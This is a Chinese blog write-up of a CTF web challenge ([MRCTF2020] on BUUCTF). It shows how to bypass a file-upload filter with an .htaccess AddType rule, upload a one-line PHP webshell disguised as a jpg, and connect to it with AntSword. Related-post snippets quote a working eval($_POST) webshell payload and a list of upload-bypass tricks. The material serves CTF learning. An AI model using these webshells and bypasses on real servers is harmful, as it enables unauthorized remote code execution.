[MRCTF2020]你传你呢1

最新推荐文章于 2023-10-12 20:14:13 发布
最新推荐文章于 2023-10-12 20:14:13 发布
阅读量1.4k 收藏 4
点赞数 2
分类专栏： ctf-web 文章标签： 安全 web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_46276093/article/details/115343050
版权

[MRCTF2020]你传你🐎呢1

STEP1：尝试改写文件头和和文件内容

显示：

在这里插入图片描述
在这里插入图片描述

上传失败:(
判断可能与user.ini或.htaccess文件有关

STEP2：上传.htaccess文件

显示：
在这里插入图片描述

内容：AddType application/x-httpd-php jpg

在这里插入图片描述

上传成功，上传一个1.jpg文件

STEP3：上传1.jpg文件包含一句木马

显示：

在这里插入图片描述
（注意防火墙设置，包含一句话木马的文件可能被防火墙隔离，导致返回数据为空）

STEP4：蚁剑连接

使用蚁剑新建连接时，注意文件路径应为网页网址直接接/upload/…
例：http://34ebbe2e-3c29-4874-8fa4-dc3b8049a911.node3.buuoj.cn/upload/873d7eff07222600d1b0e64adce3a64c/1.jpg
显示：

在这里插入图片描述
得到flag

柒熠染云
关注
  • 2
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
BUUCTF之[MRCTF2020]你传你呢 1
qq_44122254的博客
02-10 1919
打开题目靶场，发现是一个上传页面 随便上传一个文件进行试验一下 发现对此文件有进行过滤 上传一个图片进行尝试，发现可以上传png图片，制作图片码进行上传 图片码内容如下 发现可以上传成功但是蚁剑连接的话并不能够连接成功，数据为空 ...
vigenere-cipher:Vigenere密码
03-19
它由重复26行/列的字母表组成，但是第一个字母被推到字母表的末尾，并且一直持续到z是第25行中的第一个字母为止。然后，程序将密钥用于行，将消息加密用于列。字母匹配，并显示加密的消息。标点和空格保持不变。
【BUUCTF之[MRCTF2020]你传你呢 1】
qq_40646572的博客
10-25 5009
首先，正常上传图片文件，竟然因为文件大小的问题，上传失败，就挺难受。不过还好，总算知道是什么原因不能上传。总体来讲，这道题，难度是可以的，需要一步步的进行尝试。
BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)
qq_64201116的博客
05-19 3458
进入页面 文件上传漏洞,因为有些人没看过我前面的文章我再把我的总结发一下 1、前端绕过，抓包修改后缀名， 2、文件内容绕过，用图片马，抓包修改后缀绕过 3、黑名单绕过,那么我们可以改成phtml抓包绕过 4、.htaccess绕过，只要有这个配置文件，并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)” 5、大小写绕过，抓包后修改后缀为.PHp 7、空格绕过，抓包修改后缀，在后缀后面加上空格 8、点绕
BUUCTF之[MRCTF2020]你传你呢1
最新发布
weixin_66294723的博客
10-12 451
很明显是文件上传漏洞，通过🐎可知应该是要传一个马进去，一开始把自己制作的图片马传进去后自己的图片马不行，content-type也没问题后上网找wp发现如果一系列%00，改大小写，图片马之类都不行的话 ，或者上传之后 但是菜刀连接不了，回显显示没有数据的话，就代表要改配置文件。
BUUCTF——[MRCTF2020]你传你呢 1
weixin_45864041的博客
09-28 1210
先传php文件格式的一句话木马。 上传失败。那就先传jpg文件 发现上传成功。然后我们可以先把路径保存下来。 接下来我们再试一下可不可以通过抓包修改的方式上传php文件。 发现上传失败。然后，我们又得变换思路了。上一篇文章，我们知道目录下有一个index.php文件，然后我们通过上传.user.ini文件让图片被当做php文件解析。接下来我想到一个思路，那就是.htaccess文件。.htaccess文件可以用来留后门和针对黑名单绕过，可以在.htaccess 加入php解析规则，就能够使上传的jpg/.
采区含断层工作面冲击失稳预测
04-19
本文以矿井西二采区某一工作面为工程背景,根据数值模拟峰前扰动时断层面应力、位移分叉趋势对断层冲击地压危险区域进行了初步划分,通过现场电磁辐射监测结果分析可知:预测的预警距离是工作面距断层35m时应当采取加强...
CTF 逆向练习-Transform
06-10
该资源配合博客使用，博客我还没写。 有空我会在哔哩哔哩录制教程。
向前欧拉法matlab代码-zbc-ops:我的GitHub个人资料的配置文件
05-20
1.mrctf[friendly_sign-in] 意思就是服务器产生一个数组$N$,需要输入一个数组$X$与其对应位置乘积和为$0$,题目说$N$中全为素数，实际好像不是，因为产生这么多素数比较耗时间，但里面还是大部分都是素数。这里可以...
upload-labs 04（上传.htaccess）
LuckySec
11-05 2087
题目 首先查看源码 该代码对常见的多种类型文件后缀名进行了限制上传， 但是仔细可以发现，并没有对htaccess文件进行限制。 于是，我们可以先上传一个htaccess文件，再上传一个图片马，进行绕过检测上传。 htaccess小知识 .htaccess文件(或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法， 即，在一个特定的文档目录中...
[MRCTF2020]你传你呢
pakho_C的博客
02-09 1206
web第26题 [MRCTF2020]你传你????呢 打开靶场 应该是一个文件上传的题目 首先尝试上传普通图片 上传成功并且返回路径 上传一句话木马尝试 显然做了限制 尝试绕过 看来php3,php5,ptml等都做了限制 尝试图片文件欺骗，这里的后缀是php 依旧失败 尝试上传写码后的gif文件 失败。看来对文件内容也做了校验 我又返回去看了一下以前做的upload-labs靶场的绕过 文件上传漏洞–upload-labs靶场复现(4-7关) 参考第6关和第7关的思路 尝试使用空格和.绕过
BUUCTF之[MRCTF2020]你传你呢-------文件解析漏洞
weixin_44632787的博客
06-19 8791
BUUCTF之[MRCTF2020]你传你????呢 虽然这题对于大佬来说是属于简单题。但是对于我这种小白来说却是第一次见。算是学到东西了。所以在此记录一下，以后看到这种类似的题目也可以回来复习。。。 首先，启动挑战的项目 emmmmmmm这个页面很有个性。。。一开始以为只是个简单的文件上传漏洞，结果没做出来。 不管怎么样，先上传一句话木马。并且将下面的内容保存成文件1.png GIF89a? <script language="php">eval($_POST['zyh']);</s
[MRCTF2020]你传你呢 1
shinygod的博客
02-11 2049
知识点：.htaccess和.user.ini的区别 上传php，phtml，txt…类型的文件都会被过滤 抓包改content-type也不行 上传个jpg格式，里面有一句话木马 路径出来了，我们可以用
buuctf-web-[MRCTF2020]你传你呢1
mlws1900的博客
08-03 868
上传一个.htaccess文件，先是1.jpg。写一个一句话木马 ，继续上传图片马，里面写内容。打开环境， 典型的文件上传漏洞利用。可以执行后缀名为jpg的php文件。
BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1
网安小趴菜
09-07 654
BUUCTF Web [MRCTF2020]你传你🐎呢1 & [极客大挑战 2019]HardSQL1

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值